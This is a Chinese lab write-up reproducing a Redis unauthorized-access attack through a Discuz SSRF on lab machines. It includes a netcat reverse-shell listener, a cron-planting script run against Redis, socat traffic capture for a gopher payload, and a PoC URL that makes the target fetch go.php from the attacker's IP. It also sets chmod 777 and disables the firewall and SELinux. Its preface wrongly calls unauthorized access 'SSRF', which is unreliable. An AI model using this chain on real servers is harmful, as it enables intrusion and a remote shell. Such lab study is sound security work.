未授权访问漏洞之Redis漏洞复现
前言
未授权访问漏洞简写是SSRF(Server-Side Request Forgery:服务器端请求伪造),是一种服务器端提供了可以从其他服务器获取资源和数据的功能,但没有对目标地址进行过滤和限制,导致可以任意访问服务器端获取数据资源的漏洞,我们本次复现用到的是discuz+redis的环境
Redis漏洞原理
Redis默认的绑定端口是0.0.0.0:6379,如果没有在设置密码或者密码为弱密码的情况下且没有使用有效的保护措施,如此一来,在公网的Redis服务器就会被任意的用户进行未授权访问,读取数据,获取资源,写入恶意文件等。
靶场环境
攻击机: kali: 192.168.31.153
测试机: centos7-1: 192.168.31.207
靶机: centos7-2: 192.168.31.230
所需要的环境和脚本链接:https://pan.baidu.com/s/1YE749PP1RcNGJYrpxMvE_A?pwd=xihw
安装discuz+Redis环境
discuz搭建
centos7-2下载安装discuz,首先搭建apache服务器 yum install -y httpd httpd-devel
service httpd.service start //开启apache服务
service httpd.service status //查看apache状态
安装mysql,在centos中的mysql是mariadb,而不是mysql
yum -y install mariadb mariadb-server mariadb-libs mariadb-devel //安装
service mariadb.service start //启动mariadb服务
service mariadb.service status //查看状态
netstat -an //查看端口



安装php,将php和mysql关联起来
yum install -y php
yum -y install php-mysql


将下载的discuz放到/var/www/html下,并赋予可读可写权限
chown apache:apache -R upload/ //赋予所属组
chmod -R 777 upload/ //赋予可读可写可执行权限
service httpd.service restart //这里如果已经安装了httpd就重启一下服务就好
service mariadb.service restart //同上
service firewalld stop //关闭防火墙
在物理机访问

这里都是不可写,需要修改/etc/selinux/config,修改完重启虚拟机 reboot
重启完成后开启apache服务和mariadb服务,再次访问就是可写








redis搭建
1.下载redis包 解压进入redis目录 2.make编译3.然后编译完成进入/src目录 4.将redis-cli redis-server复制到/usr/local/bin目录下,如此可以在任意目录下运行redis服务




执行redis-server,出现以下界面说明搭建成功一半,另一半自己重新开一个终端,执行redis-cli ,出现第二张图示例说明搭建成功


漏洞复现
首先在centos7-1下载安装redis环境,然后用于测试脚本,这是我事先准备好的脚本

给kali监听6666端口 nc -lvnp 6666
centos7-1 执行 bash aa.sh 127.0.0.1 6379 ,大概等一分钟,查看kali1是否反弹权限


测试成功,接下来查看并删除centos7-1计划任务,使用socat端口转发工具(如果没有就使用yum install socat下载),用来抓取redis攻击的数据包,再使用万金油gopher协议构造poc

将2222端口数据转发给6379
socat -v tcp-listen:2222,fork tcp-connect:localhost:6379
bash aa.sh 127.0.0.1 2222

将数据包编写到一个mm.log中,复制完,保存前先要查看一下文件是不是fileformat=unix
按esc键 然后 :set ff 查看 显示fileformat=unix


然后就是要用到一个python脚本,可以将保存下来的东西保存为RESP格式,而gopher万金油协议就刚好支持这个格式

将代码复制到kali,新建一个go.php,然后保存退出,开始攻击

kali:
nc -lnvp 6666
poc:
http://192.168.31.230/discuz/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.31.153/go.php?data=he2lo.jpg[/img]
执行之前,记得开启centos7-2的redis-server
能看到centos7-2有计划任务,kali有反弹,复现成功,ip是centos7-2的ip


未授权访问漏洞之Redis漏洞复现的更多相关文章
- jboss 未授权访问漏洞复现
jboss 未授权访问漏洞复现 一.漏洞描述 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建及复 ...
- Redis未授权访问
最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...
- [Shell]Redis未授权访问反弹shell
原作者:Cream 文章出处: 贝塔安全实验室 0x01 Redis未授权访问反弹shell Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...
- [转帖]Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...
- Redis未授权访问漏洞复现及修复方案
首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...
- Redis未授权访问漏洞复现与利用
漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...
- Docker环境复现利用Redis未授权访问漏洞 >> 批量扫描检测利用
关于Redis Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库 ...
- Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...
随机推荐
- POJ2763 Housewife Wind (树链剖分)
差不多是模板题,不过要注意将边权转化为点权,将边的权值赋给它所连的深度较大的点. 这样操作过后,注意查询ask()的代码有所改变(见代码注释) 1 #include<cstdio> 2 # ...
- 基于雪花算法的增强版ID生成器
sequence 基于雪花算法的增强版ID生成器 解决了时间回拨的问题 无需手动指定workId, 微服务环境自适应 可配置化 快速开始 依赖引入 <dependency> <gro ...
- NOI2017蚯蚓排队
原题链接 发现 k<=50 ,在插入和删除时最多会影响不超过 k2 个串,用链表实现插入和删除,然后只需用哈希表维护每个长度不超过k的串的出现次数,哈希的话可以先用比较大的范围的值处理冲突,再映 ...
- python关于Django搭建简单博客项目(详解一)
上一篇我们说了如何搭建简易博客网站,下面我们来进行详细解答.本文没有特定顺序,请结合上一篇和源代码参照学习. 相关源代码和解析请参看:https://github.com/Cheng0829/mysi ...
- 驱动开发:内核监控Register注册表回调
在笔者前一篇文章<驱动开发:内核枚举Registry注册表回调>中实现了对注册表的枚举,本章将实现对注册表的监控,不同于32位系统在64位系统中,微软为我们提供了两个针对注册表的专用内核监 ...
- 19_Vue如何监测到对象类型数据发生改变的?
数据更新 关于监视 我们之前讲过,我们在data当中配置的属性,最终会挂载在vue实例身上,而data这个配置项,最终也会在vue身上成为一个新的属性 == _data 当我们在页面DOM当中,去使用 ...
- 开源网络协议栈onps诞生记
小孩没娘,说来话长,一切都要从LwIP说起.大约是06年9月,本人在二姨的坛口发布了一篇小文--<uC/OS-II 平台下的 LwIP 移植笔记>.自此一发不可收拾,开启了一段我与LwIP ...
- 用Nodejs 实现一个简单的 Redis客户端
目录 0. 写在前面 1. 背景映入 2. 数据库选择 3. Nodejs TCP连接 3. 代码编写 4. 实验 5. wireshark 抓包分析 6. 杂与代码 0. 写在前面 大家如果有去看过 ...
- java学习之spirng的aop
AOP技术 0x00前言 什么是AOP技术:在软件业,AOP为Aspect Oriented Programming的缩写,意为:面向切面编程,通过预编译方式和运行期间动态代理实现程序功能的统一维护的 ...
- Mysql InnoDB多版本并发控制MVCC
参考书籍<mysql是怎样运行的> 系列文章目录和关于我 一丶为什么需要事务隔离级别 mysql是一个客户端/服务断软件,对于同一个服务器来说,可以有多个客户端进行连接,每一个客户端进行连 ...
